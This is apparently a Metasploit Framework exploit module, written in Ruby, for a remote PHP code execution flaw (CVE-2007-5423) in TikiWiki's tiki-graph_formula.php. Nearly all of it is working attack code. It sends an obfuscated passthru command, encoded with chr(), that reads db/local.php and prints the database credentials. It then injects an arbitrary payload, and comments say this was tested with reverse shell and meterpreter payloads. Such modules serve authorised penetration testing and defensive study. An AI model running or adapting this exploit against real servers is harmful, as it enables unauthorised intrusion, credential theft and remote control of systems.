TikiWiki tiki-graph_formula Remote PHP Code Execution



##

# $Id: tikiwiki_graph_formula_exec.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::Remote::HttpClient

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'TikiWiki tiki-graph_formula Remote PHP Code Execution',
            'Description'    => %q{
                    TikiWiki (<= 1.9.8) contains a flaw that may allow a remote
                attacker to execute arbitrary PHP code.  The issue is due to
                'tiki-graph_formula.php' script not properly sanitizing user
                input supplied to create_function(), which may allow a remote
                attacker to execute arbitrary PHP code resulting in a loss of
                integrity.
            },
            'Author'         => [ 'Matteo Cantoni <goony[at]nothink.org>', 'jduck' ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 10394 $',
            'References'     =>
                [
                    ['CVE', '2007-5423'],
                    ['OSVDB', '40478'],
                    ['BID', '26006'],
                ],
            'Privileged'     => false,
            'Payload'        =>
                {
                    'DisableNops' => true,
                    # 6k.  Really it's the max length of a URI minus the junk
                    # we have to put in the request to trigger the
                    # vulnerability.  On Apache, 8190 is the max, so this
                    # should be a pretty safe value.
                    'Space'       => 6144,
                    # Yes, 'x' is a badchar.  The vulnerable code replaces it with '$x'.
                    'BadChars'    => "`\"' %&x",
                },
            'Platform'       => 'php',
            'Arch'           => ARCH_PHP,
            'Targets'        => [[ 'Automatic', { }]],
            'DisclosureDate' => 'Oct 10 2007',
            'DefaultTarget'  => 0))

        register_options(
            [
                OptString.new('URI', [true, "TikiWiki directory path", "/tikiwiki"]),
            ], self.class)
    end

    def check
        res = send_request_raw(
            {
                'uri'     => datastore['URI'] + "/tiki-index.php",
                'method'  => 'GET',
                'headers' =>
                    {
                        'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
                        'Connection' => 'Close',
                    }
            }, 5)

        http_fingerprint({ :response => res })  # check method

        if (res and res.code == 200 and res.body.match(/TikiWiki v?([0-9\.]*)/))
            ver = $1
            #print_status("Detected TikiWiki version #{ver}")
            ver = ver.split('.')
            return Exploit::CheckCode::Safe if (ver[0] != '1')
            return Exploit::CheckCode::Safe if (ver[1] != '9')
            if (ver.length > 2)
                ver2 = ver[2].to_i
                if (ver.length > 3)
                    ver3 = ver[3].to_i
                else
                    ver3 = 0
                end
                return Exploit::CheckCode::Safe if (ver2 > 8)
                return Exploit::CheckCode::Safe if (ver2 == 8 and ver3 > 0)
            end
            return Exploit::CheckCode::Vulnerable
        end
        Exploit::CheckCode::Safe
    end

    def exploit

        print_status("Attempting to obtain database credentials...")
        url_db_local = build_uri("passthru(" +
            "chr(101).chr(99).chr(104).chr(111).chr(32).chr(89).chr(89).chr(89)." +  # echo YYY
            "chr(59)." +  # ;
            # cat db/local.php
            "chr(99).chr(97).chr(116).chr(32).chr(100).chr(98).chr(47).chr(108).chr(111).chr(99).chr(97).chr(108).chr(46).chr(112).chr(104).chr(112)." +
            "chr(59)." +  # ;
            "chr(101).chr(99).chr(104).chr(111).chr(32).chr(89).chr(89).chr(89)" +   # echo YYY
            ")")
        res = send_request_raw({
            'uri'     => url_db_local,
            'method'  => 'GET',
            'headers' =>
                {
                    'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
                    'Connection' => 'Close',
                }
            }, 5)
        if (res and res.message == "OK" and res.body)
            print_status("The server returned            : #{res.code} #{res.message}")
            print_status("Server version                 : #{res.headers['Server']}")

            db_tiki   = res.body.match(/db_tiki='(.*?)';/m)
            if (db_tiki)
                dbversion = res.body.match(/dbversion_tiki='(.*?)';/m)
                host_tiki = res.body.match(/host_tiki='(.*?)';/m)
                user_tiki = res.body.match(/user_tiki='(.*?)';/m)
                pass_tiki = res.body.match(/pass_tiki='(.*?)';/m)
                dbs_tiki  = res.body.match(/dbs_tiki='(.*?)';/m)

                print_status("TikiWiki database informations : \n")

                print("db_tiki   : " + db_tiki[1]   + "\n")
                print("dbversion : " + dbversion[1] + "\n")
                print("host_tiki : " + host_tiki[1] + "\n")
                print("user_tiki : " + user_tiki[1] + "\n")
                print("pass_tiki : " + pass_tiki[1] + "\n")
                print("dbs_tiki  : " + dbs_tiki[1]  + "\n\n")
            end
        else
            print_status("No response from the server")
        end


        print_status("Attempting to execute our payload...")
        command = Rex::Text.uri_encode(payload.encoded)
        url_cmd = build_uri(payload.encoded)
        res = send_request_raw({
            'uri'     => url_cmd,
            'method'  => 'GET',
            'headers' =>
                {
                    'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
                    'Connection' => 'Close',
                }
            }, 5)
    end

    #
    # This function will build a fairly randomish query string to be used
    # when exploiting this vulnerability :)
    #
    def build_uri(f_val)
        uri = ''
        uri << datastore['URI']
        uri << "/tiki-graph_formula.php?"

        # Requirements:
        query = ''

        # 1. w,h,s,min,max must all be numeric
        vars = %w{ w h s min max }
        min = nil
        vars.each { |el|
            query << "&" if query.length > 0
            num = 1+rand(999)
            # 2. min must be less than max
            case el
            when 's'
                num = 1+rand(500)
            when 'min'
                if (min)
                    num = min
                else
                    min = num
                end
            when 'max'
                min ||= num
                num = min + 1 + rand(99)
            end
            query << "#{el}=#{num}"
        }

        # 3. cannot use `, ', ", or space
        if (f_val.index('\'') or f_val.index('"') or f_val.index('`') or f_val.index(' '))
            raise RuntimeError, "The value for the 'f' variable contains an invalid character!"
        end

        # 4. the function must be one of:
        valid = %w{
            abs acos acosh asin asinh atan2 atan atanh ceil cos cosh deg2rad
            exp expm1 floor fmod hypot log10 log1p log max min pi pow rad2deg round sin
            sinh sqrt tan tanh
        }
        func = valid[rand(valid.length)]

        # 5. f must be an array
        query << "&" if query.length > 0

        # Strip off the semi-colon that the encoder insists on including.
        if f_val[-1,1] == ";"
            f_val = f_val[0,f_val.length-1]
        end
        query << "f[]=x.#{func}.#{f_val}"

        # This doesn't seem to be necessary on PHP 5.2.4, tikiwiki 1.9.5
        # Tested with php/reverse_php, php/meterpreter_reverse_tcp, and
        # php/meterpreter/reverse_tcp
        #  -egypt
        # If we dont kill php here it spins eating 100% cpu :-/
        #query << '.die()'

        # 6. two options for 't' - png and pdf
        #    - png requires php's gd extension
        #    - pdf, if you set 'p', requires php pdf extension
        #  -- we always use 'pdf' with a null 'p'
        query << "&" if query.length > 0
        query << 't=pdf'

        # 7. title must be set
        query << '&title='

        uri << query
        uri
    end

end